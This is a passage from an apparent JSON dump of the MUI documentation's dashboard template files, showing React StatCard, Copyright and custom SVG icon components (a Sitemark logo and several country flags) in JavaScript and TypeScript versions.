   sx={{ justifyContent: 'space-between', flexGrow: '1', gap: 1 }}\n        >\n          <Stack sx={{ justifyContent: 'space-between' }}>\n            <Stack\n              direction=\"row\"\n              sx={{ justifyContent: 'space-between', alignItems: 'center' }}\n            >\n              <Typography variant=\"h4\" component=\"p\">\n                {value}\n              </Typography>\n              <Chip size=\"small\" color={color} label={trendValues[trend]} />\n            </Stack>\n            <Typography variant=\"caption\" sx={{ color: 'text.secondary' }}>\n              {interval}\n            </Typography>\n          </Stack>\n          <Box sx={{ width: '100%', height: 50 }}>\n            <SparkLineChart\n              color={chartColor}\n              data={data}\n              area\n              showHighlight\n              showTooltip\n              xAxis={{\n                scaleType: 'band',\n                data: daysInWeek, // Use the correct property 'data' for xAxis\n              }}\n              sx={{\n                [`& .${areaElementClasses.root}`]: {\n                  fill: `url(#area-gradient-${value})`,\n                },\n              }}\n            >\n              <AreaGradient color={chartColor} id={`area-gradient-${value}`} />\n            </SparkLineChart>\n          </Box>\n        </Stack>\n      </CardContent>\n    </Card>\n  );\n}\n\nStatCard.propTypes = {\n  data: PropTypes.arrayOf(PropTypes.number).isRequired,\n  interval: PropTypes.string.isRequired,\n  title: PropTypes.string.isRequired,\n  trend: PropTypes.oneOf(['down', 'neutral', 'up']).isRequired,\n  value: PropTypes.string.isRequired,\n};\n\nexport default StatCard;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/components/StatCard.tsx",
    "content": "import { useTheme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport Chip from '@mui/material/Chip';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport { SparkLineChart } from '@mui/x-charts/SparkLineChart';\nimport { areaElementClasses } from '@mui/x-charts/LineChart';\n\nexport type StatCardProps = {\n  title: string;\n  value: string;\n  interval: string;\n  trend: 'up' | 'down' | 'neutral';\n  data: number[];\n};\n\nfunction getDaysInMonth(month: number, year: number) {\n  const date = new Date(year, month, 0);\n  const monthName = date.toLocaleDateString('en-US', {\n    month: 'short',\n  });\n  const daysInMonth = date.getDate();\n  const days = [];\n  let i = 1;\n  while (days.length < daysInMonth) {\n    days.push(`${monthName} ${i}`);\n    i += 1;\n  }\n  return days;\n}\n\nfunction AreaGradient({ color, id }: { color: string; id: string }) {\n  return (\n    <defs>\n      <linearGradient id={id} x1=\"50%\" y1=\"0%\" x2=\"50%\" y2=\"100%\">\n        <stop offset=\"0%\" stopColor={color} stopOpacity={0.3} />\n        <stop offset=\"100%\" stopColor={color} stopOpacity={0} />\n      </linearGradient>\n    </defs>\n  );\n}\n\nexport default function StatCard({\n  title,\n  value,\n  interval,\n  trend,\n  data,\n}: StatCardProps) {\n  const theme = useTheme();\n  const daysInWeek = getDaysInMonth(4, 2024);\n\n  const trendColors = {\n    up:\n      theme.palette.mode === 'light'\n        ? theme.palette.success.main\n        : theme.palette.success.dark,\n    down:\n      theme.palette.mode === 'light'\n        ? theme.palette.error.main\n        : theme.palette.error.dark,\n    neutral:\n      theme.palette.mode === 'light'\n        ? theme.palette.grey[400]\n        : theme.palette.grey[700],\n  };\n\n  const labelColors = {\n    up: 'success' as const,\n    down: 'error' as const,\n    neutral: 'default' as const,\n  };\n\n  const color = labelColors[trend];\n  const chartColor = trendColors[trend];\n  const trendValues = { up: '+25%', down: '-25%', neutral: '+5%' };\n\n  return (\n    <Card variant=\"outlined\" sx={{ height: '100%', flexGrow: 1 }}>\n      <CardContent>\n        <Typography component=\"h2\" variant=\"subtitle2\" gutterBottom>\n          {title}\n        </Typography>\n        <Stack\n          direction=\"column\"\n          sx={{ justifyContent: 'space-between', flexGrow: '1', gap: 1 }}\n        >\n          <Stack sx={{ justifyContent: 'space-between' }}>\n            <Stack\n              direction=\"row\"\n              sx={{ justifyContent: 'space-between', alignItems: 'center' }}\n            >\n              <Typography variant=\"h4\" component=\"p\">\n                {value}\n              </Typography>\n              <Chip size=\"small\" color={color} label={trendValues[trend]} />\n            </Stack>\n            <Typography variant=\"caption\" sx={{ color: 'text.secondary' }}>\n              {interval}\n            </Typography>\n          </Stack>\n          <Box sx={{ width: '100%', height: 50 }}>\n            <SparkLineChart\n              color={chartColor}\n              data={data}\n              area\n              showHighlight\n              showTooltip\n              xAxis={{\n                scaleType: 'band',\n                data: daysInWeek, // Use the correct property 'data' for xAxis\n              }}\n              sx={{\n                [`& .${areaElementClasses.root}`]: {\n                  fill: `url(#area-gradient-${value})`,\n                },\n              }}\n            >\n              <AreaGradient color={chartColor} id={`area-gradient-${value}`} />\n            </SparkLineChart>\n          </Box>\n        </Stack>\n      </CardContent>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/internals/components/Copyright.js",
    "content": "import Link from '@mui/material/Link';\nimport Typography from '@mui/material/Typography';\n\nexport default function Copyright(props) {\n  return (\n    <Typography\n      variant=\"body2\"\n      align=\"center\"\n      {...props}\n      sx={[\n        {\n          color: 'text.secondary',\n        },\n        ...(Array.isArray(props.sx) ? props.sx : [props.sx]),\n      ]}\n    >\n      {'Copyright © '}\n      <Link color=\"inherit\" href=\"https://mui.com/\">\n        Sitemark\n      </Link>{' '}\n      {new Date().getFullYear()}\n      {'.'}\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/internals/components/Copyright.tsx",
    "content": "import Link from '@mui/material/Link';\nimport Typography from '@mui/material/Typography';\n\nexport default function Copyright(props: any) {\n  return (\n    <Typography\n      variant=\"body2\"\n      align=\"center\"\n      {...props}\n      sx={[\n        {\n          color: 'text.secondary',\n        },\n        ...(Array.isArray(props.sx) ? props.sx : [props.sx]),\n      ]}\n    >\n      {'Copyright © '}\n      <Link color=\"inherit\" href=\"https://mui.com/\">\n        Sitemark\n      </Link>{' '}\n      {new Date().getFullYear()}\n      {'.'}\n    </Typography>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/internals/components/CustomIcons.js",
    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport function SitemarkIcon() {\n  return (\n    <SvgIcon sx={{ height: 21, width: 100 }}>\n      <svg\n        width={86}\n        height={19}\n        viewBox=\"0 0 86 19\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          fill=\"#B4C0D3\"\n          d=\"m.787 12.567 6.055-2.675 3.485 2.006.704 6.583-4.295-.035.634-4.577-.74-.422-3.625 2.817-2.218-3.697Z\"\n        />\n        <path\n          fill=\"#00D3AB\"\n          d=\"m10.714 11.616 5.352 3.908 2.112-3.767-4.295-1.725v-.845l4.295-1.76-2.112-3.732-5.352 3.908v4.013Z\"\n        />\n        <path\n          fill=\"#4876EF\"\n          d=\"m10.327 7.286.704-6.583-4.295.07.634 4.577-.74.422-3.66-2.816L.786 6.617l6.055 2.676 3.485-2.007Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M32.507 8.804v6.167h2.312v-7.86h-3.366v1.693h1.054ZM32.435 6.006c.212.22.535.33.968.33.434 0 .751-.11.953-.33.213-.23.318-.516.318-.86 0-.354-.105-.641-.318-.86-.202-.23-.52-.345-.953-.345-.433 0-.756.115-.968.344-.202.22-.303.507-.303.86 0 .345.101.632.303.861ZM24.46 14.799c.655.296 1.46.444 2.413.444.896 0 1.667-.139 2.312-.416.645-.277 1.141-.664 1.488-1.162.357-.506.535-1.094.535-1.764 0-.65-.169-1.2-.506-1.649-.328-.459-.785-.818-1.373-1.076-.587-.267-1.266-.435-2.037-.502l-.809-.071c-.481-.039-.828-.168-1.04-.388a1.08 1.08 0 0 1-.318-.774c0-.23.058-.44.173-.631.116-.201.29-.359.52-.474.241-.114.535-.172.882-.172.366 0 .67.067.91.201.053.029.104.059.15.09l.012.009.052.037c.146.111.263.243.35.395.125.21.188.444.188.703h2.311c0-.689-.159-1.286-.476-1.793-.318-.516-.776-.913-1.373-1.19-.588-.287-1.296-.43-2.124-.43-.79 0-1.474.133-2.052.4a3.131 3.131 0 0 0-1.358 1.12c-.318.487-.477 1.066-.477 1.735 0 .927.314 1.673.94 2.237.626.564 1.464.89 2.514.976l.794.071c.645.058 1.113.187 1.401.388a.899.899 0 0 1 .434.788 1.181 1.181 0 0 1-.231.717c-.154.201-.38.36-.68.474-.298.115-.669.172-1.112.172-.49 0-.89-.067-1.199-.2-.308-.144-.539-.33-.694-.56a1.375 1.375 0 0 1-.216-.746h-2.297c0 .679.168 1.281.505 1.807.337.517.834.928 1.489 1.234ZM39.977 15.07c-.8 0-1.445-.095-1.936-.286a2.03 2.03 0 0 1-1.084-.99c-.221-.469-.332-1.1-.332-1.893V8.789h-1.2V7.11h1.2V4.988h2.153V7.11h2.312V8.79h-2.312v3.198c0 .373.096.66.289.86.202.192.486.287.852.287h1.17v1.937h-1.112Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M43.873 14.899c.52.23 1.117.344 1.791.344.665 0 1.252-.115 1.763-.344.51-.23.934-.55 1.271-.96.337-.412.564-.88.679-1.407h-2.124c-.096.24-.279.44-.549.603-.27.162-.616.244-1.04.244-.262 0-.497-.031-.704-.093a1.572 1.572 0 0 1-.423-.194 1.662 1.662 0 0 1-.636-.803 3.159 3.159 0 0 1-.163-.645h5.784v-.775a4.28 4.28 0 0 0-.463-1.98 3.686 3.686 0 0 0-1.343-1.477c-.578-.382-1.291-.574-2.139-.574-.645 0-1.223.115-1.733.345-.501.22-.92.52-1.257.903a4.178 4.178 0 0 0-.78 1.305c-.174.478-.26.98-.26 1.506v.287c0 .507.086 1.004.26 1.492.183.478.443.913.78 1.305.347.382.775.688 1.286.918Zm-.094-4.674.02-.09a2.507 2.507 0 0 1 .117-.356c.145-.354.356-.622.636-.804.104-.067.217-.123.339-.165.204-.071.433-.107.686-.107.395 0 .723.09.983.272.27.173.472.426.607.76a2.487 2.487 0 0 1 .16.603h-3.57c.006-.038.013-.076.022-.113Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M50.476 14.97V7.112h1.835v1.98a4.54 4.54 0 0 1 .173-.603c.202-.536.506-.937.91-1.205.405-.277.9-.416 1.488-.416h.101c.598 0 1.094.139 1.489.416.404.268.707.67.91 1.205l.016.04.013.037.028-.077c.212-.536.52-.937.925-1.205.405-.277.901-.416 1.489-.416h.1c.598 0 1.098.139 1.503.416.414.268.727.67.94 1.205.211.535.317 1.205.317 2.008v4.475h-2.312v-4.604c0-.43-.115-.78-.346-1.047-.222-.268-.54-.402-.954-.402-.414 0-.742.139-.982.416-.241.268-.362.626-.362 1.076v4.56h-2.326v-4.603c0-.43-.115-.78-.346-1.047-.222-.268-.535-.402-.94-.402-.423 0-.756.139-.996.416-.241.268-.362.626-.362 1.076v4.56h-2.311Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M68.888 13.456v1.515h1.834v-4.82c0-.726-.144-1.319-.433-1.778-.289-.468-.712-.817-1.271-1.047-.549-.23-1.228-.344-2.037-.344a27.76 27.76 0 0 0-.896.014c-.318.01-.626.024-.924.043l-.229.016a36.79 36.79 0 0 0-.552.042v1.936a81.998 81.998 0 0 1 1.733-.09 37.806 37.806 0 0 1 1.171-.025c.424 0 .732.1.925.301.193.201.289.502.289.904v.029h-1.43c-.704 0-1.325.09-1.864.272-.54.172-.959.445-1.257.818-.299.363-.448.832-.448 1.405 0 .526.12.98.361 1.363.24.373.573.66.997.86.433.201.934.302 1.502.302.55 0 1.012-.1 1.388-.302.385-.2.683-.487.895-.86a2.443 2.443 0 0 0 .228-.498l.018-.056Zm-.39-1.397v-.63h-1.445c-.405 0-.718.1-.939.3-.212.192-.318.455-.318.79 0 .157.026.3.08.429a.99.99 0 0 0 .238.345c.221.191.534.287.939.287a2.125 2.125 0 0 0 .394-.038c.106-.021.206-.052.3-.092.212-.095.385-.253.52-.473.135-.22.212-.526.23-.918Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M72.106 14.97V7.11h1.835v2.595c.088-.74.31-1.338.665-1.791.481-.603 1.174-.904 2.08-.904h.303v1.98h-.578c-.635 0-1.127.172-1.473.516-.347.334-.52.822-.52 1.463v4.001h-2.312ZM79.92 11.298h.767l2.499 3.672h2.6l-3.169-4.51 2.606-3.35h-2.427l-2.875 3.737V4.5h-2.312v10.47h2.312v-3.672Z\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n\nexport function IndiaFlag() {\n  return (\n    <SvgIcon>\n      <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" fill=\"none\">\n        <g clipPath=\"url(#a)\">\n          <mask\n            id=\"b\"\n            maskUnits=\"userSpaceOnUse\"\n            x=\"-4\"\n            y=\"0\"\n            width=\"32\"\n            height=\"24\"\n          >\n            <path d=\"M-4 0h32v24H-4V0Z\" fill=\"#fff\" />\n          </mask>\n          <g mask=\"url(#b)\">\n            <path\n              fillRule=\"evenodd\"\n              clipRule=\"evenodd\"\n              d=\"M-4 0v24h32V0H-4Z\"\n              fill=\"#F7FCFF\"\n            />\n            <mask\n              id=\"c\"\n              maskUnits=\"userSpaceOnUse\"\n              x=\"-4\"\n              y=\"0\"\n              width=\"32\"\n              height=\"24\"\n            >\n              <path\n                fillRule=\"evenodd\"\n                clipRule=\"evenodd\"\n                d=\"M-4 0v24h32V0H-4Z\"\n                fill=\"#fff\"\n              />\n            </mask>\n            <g mask=\"url(#c)\" fillRule=\"evenodd\" clipRule=\"evenodd\">\n              <path d=\"M-4 0v8h32V0H-4Z\" fill=\"#FF8C1A\" />\n              <path d=\"M-4 16v8h32v-8H-4Z\" fill=\"#5EAA22\" />\n              <path\n                d=\"M8 12a4 4 0 1 0 8 0 4 4 0 0 0-8 0Zm7 0a3 3 0 1 1-6 0 3 3 0 0 1 6 0Z\"\n                fill=\"#3D58DB\"\n              />\n              <path\n                d=\"m12 12.9-.6 3 .4-3-1.5 2.8 1.2-3L9.4 15l2-2.4-2.8 1.6 2.6-1.8-3 .7 3-1H8l3.2-.2-3-1 3 .8-2.6-1.9 2.8 1.7-2-2.5 2.1 2.3-1.2-3 1.5 2.9-.4-3.2.6 3.2.6-3.2-.4 3.2 1.5-2.8-1.2 2.9L14.6 9l-2 2.5 2.8-1.7-2.6 1.9 3-.8-3 1 3.2.1-3.2.1 3 1-3-.7 2.6 1.8-2.8-1.6 2 2.4-2.1-2.3 1.2 3-1.5-2.9.4 3.2-.6-3.1Z\"\n                fill=\"#3D58DB\"\n              />\n            </g>\n          </g>\n        </g>\n        <defs>\n          <clipPath id=\"a\">\n            <rect width=\"24\" height=\"24\" rx=\"12\" fill=\"#fff\" />\n          </clipPath>\n        </defs>\n      </svg>\n    </SvgIcon>\n  );\n}\n\nexport function UsaFlag() {\n  return (\n    <SvgIcon>\n      <svg\n        width=\"24\"\n        height=\"24\"\n        viewBox=\"0 0 24 24\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <g clipPath=\"url(#clip0_983_1725)\">\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-4 0H28V24H-4V0Z\"\n            fill=\"#F7FCFF\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-4 14.6667V16.6667H28V14.6667H-4Z\"\n            fill=\"#E31D1C\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-4 18.3333V20.3333H28V18.3333H-4Z\"\n            fill=\"#E31D1C\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-4 7.33325V9.33325H28V7.33325H-4Z\"\n            fill=\"#E31D1C\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-4 22V24H28V22H-4Z\"\n            fill=\"#E31D1C\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-4 11V13H28V11H-4Z\"\n            fill=\"#E31D1C\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-4 0V2H28V0H-4Z\"\n            fill=\"#E31D1C\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-4 3.66675V5.66675H28V3.66675H-4Z\"\n            fill=\"#E31D1C\"\n          />\n          <path d=\"M-4 0H16V13H-4V0Z\" fill=\"#2E42A5\" />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-2.27876 2.93871L-3.00465 3.44759L-2.75958 2.54198L-3.4043 1.96807H-2.56221L-2.27978 1.229L-1.94861 1.96807H-1.23075L-1.79479 2.54198L-1.57643 3.44759L-2.27876 2.93871ZM1.72124 2.93871L0.995357 3.44759L1.24042 2.54198L0.595707 1.96807H1.43779L1.72022 1.229L2.05139 1.96807H2.76925L2.20521 2.54198L2.42357 3.44759L1.72124 2.93871ZM4.99536 3.44759L5.72124 2.93871L6.42357 3.44759L6.20517 2.54198L6.76927 1.96807H6.05137L5.72022 1.229L5.43779 1.96807H4.59571L5.24042 2.54198L4.99536 3.44759ZM9.72127 2.93871L8.99537 3.44759L9.24047 2.54198L8.59567 1.96807H9.43777L9.72027 1.229L10.0514 1.96807H10.7693L10.2052 2.54198L10.4236 3.44759L9.72127 2.93871ZM-3.00465 7.44759L-2.27876 6.93871L-1.57643 7.44759L-1.79479 6.54198L-1.23075 5.96807H-1.94861L-2.27978 5.229L-2.56221 5.96807H-3.4043L-2.75958 6.54198L-3.00465 7.44759ZM1.72124 6.93871L0.995357 7.44759L1.24042 6.54198L0.595707 5.96807H1.43779L1.72022 5.229L2.05139 5.96807H2.76925L2.20521 6.54198L2.42357 7.44759L1.72124 6.93871ZM4.99536 7.44759L5.72124 6.93871L6.42357 7.44759L6.20517 6.54198L6.76927 5.96807H6.05137L5.72022 5.229L5.43779 5.96807H4.59571L5.24042 6.54198L4.99536 7.44759ZM9.72127 6.93871L8.99537 7.44759L9.24047 6.54198L8.59567 5.96807H9.43777L9.72027 5.229L10.0514 5.96807H10.7693L10.2052 6.54198L10.4236 7.44759L9.72127 6.93871ZM-3.00465 11.4476L-2.27876 10.9387L-1.57643 11.4476L-1.79479 10.542L-1.23075 9.96807H-1.94861L-2.27978 9.229L-2.56221 9.96807H-3.4043L-2.75958 10.542L-3.00465 11.4476ZM1.72124 10.9387L0.995357 11.4476L1.24042 10.542L0.595707 9.96807H1.43779L1.72022 9.229L2.05139 9.96807H2.76925L2.20521 10.542L2.42357 11.4476L1.72124 10.9387ZM4.99536 11.4476L5.72124 10.9387L6.42357 11.4476L6.20517 10.542L6.76927 9.96807H6.05137L5.72022 9.229L5.43779 9.96807H4.59571L5.24042 10.542L4.99536 11.4476ZM9.72127 10.9387L8.99537 11.4476L9.24047 10.542L8.59567 9.96807H9.43777L9.72027 9.229L10.0514 9.96807H10.7693L10.2052 10.542L10.4236 11.4476L9.72127 10.9387ZM12.9954 3.44759L13.7213 2.93871L14.4236 3.44759L14.2052 2.54198L14.7693 1.96807H14.0514L13.7203 1.229L13.4378 1.96807H12.5957L13.2405 2.54198L12.9954 3.44759ZM13.7213 6.93871L12.9954 7.44759L13.2405 6.54198L12.5957 5.96807H13.4378L13.7203 5.229L14.0514 5.96807H14.7693L14.2052 6.54198L14.4236 7.44759L13.7213 6.93871ZM12.9954 11.4476L13.7213 10.9387L14.4236 11.4476L14.2052 10.542L14.7693 9.96807H14.0514L13.7203 9.229L13.4378 9.96807H12.5957L13.2405 10.542L12.9954 11.4476ZM-0.278763 4.93871L-1.00464 5.44759L-0.759583 4.54198L-1.40429 3.96807H-0.562213L-0.279783 3.229L0.0513873 3.96807H0.769247L0.205207 4.54198L0.423567 5.44759L-0.278763 4.93871ZM2.99536 5.44759L3.72124 4.93871L4.42357 5.44759L4.20521 4.54198L4.76925 3.96807H4.05139L3.72022 3.229L3.43779 3.96807H2.59571L3.24042 4.54198L2.99536 5.44759ZM7.72127 4.93871L6.99537 5.44759L7.24047 4.54198L6.59567 3.96807H7.43777L7.72027 3.229L8.05137 3.96807H8.76927L8.20517 4.54198L8.42357 5.44759L7.72127 4.93871ZM-1.00464 9.44759L-0.278763 8.93871L0.423567 9.44759L0.205207 8.54198L0.769247 7.96807H0.0513873L-0.279783 7.229L-0.562213 7.96807H-1.40429L-0.759583 8.54198L-1.00464 9.44759ZM3.72124 8.93871L2.99536 9.44759L3.24042 8.54198L2.59571 7.96807H3.43779L3.72022 7.229L4.05139 7.96807H4.76925L4.20521 8.54198L4.42357 9.44759L3.72124 8.93871ZM6.99537 9.44759L7.72127 8.93871L8.42357 9.44759L8.20517 8.54198L8.76927 7.96807H8.05137L7.72027 7.229L7.43777 7.96807H6.59567L7.24047 8.54198L6.99537 9.44759ZM11.7213 4.93871L10.9954 5.44759L11.2405 4.54198L10.5957 3.96807H11.4378L11.7203 3.229L12.0514 3.96807H12.7693L12.2052 4.54198L12.4236 5.44759L11.7213 4.93871ZM10.9954 9.44759L11.7213 8.93871L12.4236 9.44759L12.2052 8.54198L12.7693 7.96807H12.0514L11.7203 7.229L11.4378 7.96807H10.5957L11.2405 8.54198L10.9954 9.44759Z\"\n            fill=\"#F7FCFF\"\n          />\n        </g>\n        <defs>\n          <clipPath id=\"clip0_983_1725\">\n            <rect width=\"24\" height=\"24\" rx=\"12\" fill=\"white\" />\n          </clipPath>\n        </defs>\n      </svg>\n    </SvgIcon>\n  );\n}\nexport function BrazilFlag() {\n  return (\n    <SvgIcon>\n      <svg\n        width=\"24\"\n        height=\"25\"\n        viewBox=\"0 0 24 25\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <g clipPath=\"url(#clip0_983_1741)\">\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-4 0.5V24.5H28V0.5H-4Z\"\n            fill=\"#009933\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M11.9265 4.20404L24.1283 12.7075L11.7605 20.6713L-0.191406 12.5427L11.9265 4.20404Z\"\n            fill=\"#FFD221\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M11.9265 4.20404L24.1283 12.7075L11.7605 20.6713L-0.191406 12.5427L11.9265 4.20404Z\"\n            fill=\"url(#paint0_linear_983_1741)\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M12 17.7C14.7614 17.7 17 15.4614 17 12.7C17 9.93853 14.7614 7.69995 12 7.69995C9.2386 7.69995 7 9.93853 7 12.7C7 15.4614 9.2386 17.7 12 17.7Z\"\n            fill=\"#2E42A5\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M10.379 15.07L10.1556 15.1874L10.1983 14.9387L10.0176 14.7626L10.2673 14.7263L10.379 14.5L10.4907 14.7263L10.7404 14.7626L10.5597 14.9387L10.6024 15.1874L10.379 15.07Z\"\n            fill=\"#F7FCFF\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M12.379 15.07L12.1556 15.1874L12.1983 14.9387L12.0176 14.7626L12.2673 14.7263L12.379 14.5L12.4907 14.7263L12.7404 14.7626L12.5597 14.9387L12.6024 15.1874L12.379 15.07Z\"\n            fill=\"#F7FCFF\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M12.379 16.27L12.1556 16.3874L12.1983 16.1387L12.0176 15.9625L12.2673 15.9262L12.379 15.7L12.4907 15.9262L12.7404 15.9625L12.5597 16.1387L12.6024 16.3874L12.379 16.27Z\"\n            fill=\"#F7FCFF\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M11.379 12.07L11.1556 12.1874L11.1983 11.9387L11.0176 11.7626L11.2673 11.7263L11.379 11.5L11.4907 11.7263L11.7404 11.7626L11.5597 11.9387L11.6024 12.1874L11.379 12.07Z\"\n            fill=\"#F7FCFF\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M11.379 14.07L11.1556 14.1874L11.1983 13.9387L11.0176 13.7626L11.2673 13.7263L11.379 13.5L11.4907 13.7263L11.7404 13.7626L11.5597 13.9387L11.6024 14.1874L11.379 14.07Z\"\n            fill=\"#F7FCFF\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M9.97859 13.07L9.75519 13.1874L9.79789 12.9387L9.61719 12.7626L9.86689 12.7263L9.97859 12.5L10.0903 12.7263L10.34 12.7626L10.1593 12.9387L10.2019 13.1874L9.97859 13.07Z\"\n            fill=\"#F7FCFF\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M8.5783 13.87L8.3549 13.9875L8.3976 13.7388L8.2168 13.5626L8.4666 13.5263L8.5783 13.3L8.6899 13.5263L8.9397 13.5626L8.759 13.7388L8.8016 13.9875L8.5783 13.87Z\"\n            fill=\"#F7FCFF\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M13.1798 10.47L12.9565 10.5875L12.9991 10.3387L12.8184 10.1626L13.0682 10.1263L13.1798 9.90002L13.2915 10.1263L13.5413 10.1626L13.3605 10.3387L13.4032 10.5875L13.1798 10.47Z\"\n            fill=\"#F7FCFF\"\n          />\n          <path\n            d=\"M7 12L7.5 10C11.6854 10.2946 14.6201 11.2147 17 13.5L16.5 15C14.4373 13.0193 10.7839 12.2664 7 12Z\"\n            fill=\"#F7FCFF\"\n          />\n        </g>\n        <defs>\n          <linearGradient\n            id=\"paint0_linear_983_1741\"\n            x1=\"27.9997\"\n            y1=\"24.5\"\n            x2=\"27.9997\"\n            y2=\"0.5\"\n            gradientUnits=\"userSpaceOnUse\"\n          >\n            <stop stopColor=\"#FFC600\" />\n            <stop offset=\"1\" stopColor=\"#FFDE42\" />\n          </linearGradient>\n          <clipPath id=\"clip0_983_1741\">\n            <rect y=\"0.5\" width=\"24\" height=\"24\" rx=\"12\" fill=\"white\" />\n          </clipPath>\n        </defs>\n      </svg>\n    </SvgIcon>\n  );\n}\n\nexport function GlobeFlag() {\n  return (\n    <SvgIcon>\n      <svg\n        width=\"24\"\n        height=\"25\"\n        viewBox=\"0 0 24 25\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <g clipPath=\"url(#clip0_986_1789)\">\n          <circle cx=\"12\" cy=\"12.5\" r=\"12\" fill=\"#007FFF\" />\n          <path\n            d=\"M12 0.5C5.376 0.5 0 5.876 0 12.5C0 19.124 5.376 24.5 12 24.5C18.624 24.5 24 19.124 24 12.5C24 5.876 18.624 0.5 12 0.5ZM10.8 22.016C6.06 21.428 2.4 17.396 2.4 12.5C2.4 11.756 2.496 11.048 2.652 10.352L8.4 16.1V17.3C8.4 18.62 9.48 19.7 10.8 19.7V22.016ZM19.08 18.968C18.768 17.996 17.88 17.3 16.8 17.3H15.6V13.7C15.6 13.04 15.06 12.5 14.4 12.5H7.2V10.1H9.6C10.26 10.1 10.8 9.56 10.8 8.9V6.5H13.2C14.52 6.5 15.6 5.42 15.6 4.1V3.608C19.116 5.036 21.6 8.48 21.6 12.5C21.6 14.996 20.64 17.264 19.08 18.968Z\"\n            fill=\"#3EE07F\"\n          />\n        </g>\n        <defs>\n          <clipPath id=\"clip0_986_1789\">\n            <rect width=\"24\" height=\"24\" fill=\"white\" transform=\"translate(0 0.5)\" />\n          </clipPath>\n        </defs>\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/internals/components/CustomIcons.tsx",
    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport function SitemarkIcon() {\n  return (\n    <SvgIcon sx={{ height: 21, width: 100 }}>\n      <svg\n        width={86}\n        height={19}\n        viewBox=\"0 0 86 19\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          fill=\"#B4C0D3\"\n          d=\"m.787 12.567 6.055-2.675 3.485 2.006.704 6.583-4.295-.035.634-4.577-.74-.422-3.625 2.817-2.218-3.697Z\"\n        />\n        <path\n          fill=\"#00D3AB\"\n          d=\"m10.714 11.616 5.352 3.908 2.112-3.767-4.295-1.725v-.845l4.295-1.76-2.112-3.732-5.352 3.908v4.013Z\"\n        />\n        <path\n          fill=\"#4876EF\"\n          d=\"m10.327 7.286.704-6.583-4.295.07.634 4.577-.74.422-3.66-2.816L.786 6.617l6.055 2.676 3.485-2.007Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M32.507 8.804v6.167h2.312v-7.86h-3.366v1.693h1.054ZM32.435 6.006c.212.22.535.33.968.33.434 0 .751-.11.953-.33.213-.23.318-.516.318-.86 0-.354-.105-.641-.318-.86-.202-.23-.52-.345-.953-.345-.433 0-.756.115-.968.344-.202.22-.303.507-.303.86 0 .345.101.632.303.861ZM24.46 14.799c.655.296 1.46.444 2.413.444.896 0 1.667-.139 2.312-.416.645-.277 1.141-.664 1.488-1.162.357-.506.535-1.094.535-1.764 0-.65-.169-1.2-.506-1.649-.328-.459-.785-.818-1.373-1.076-.587-.267-1.266-.435-2.037-.502l-.809-.071c-.481-.039-.828-.168-1.04-.388a1.08 1.08 0 0 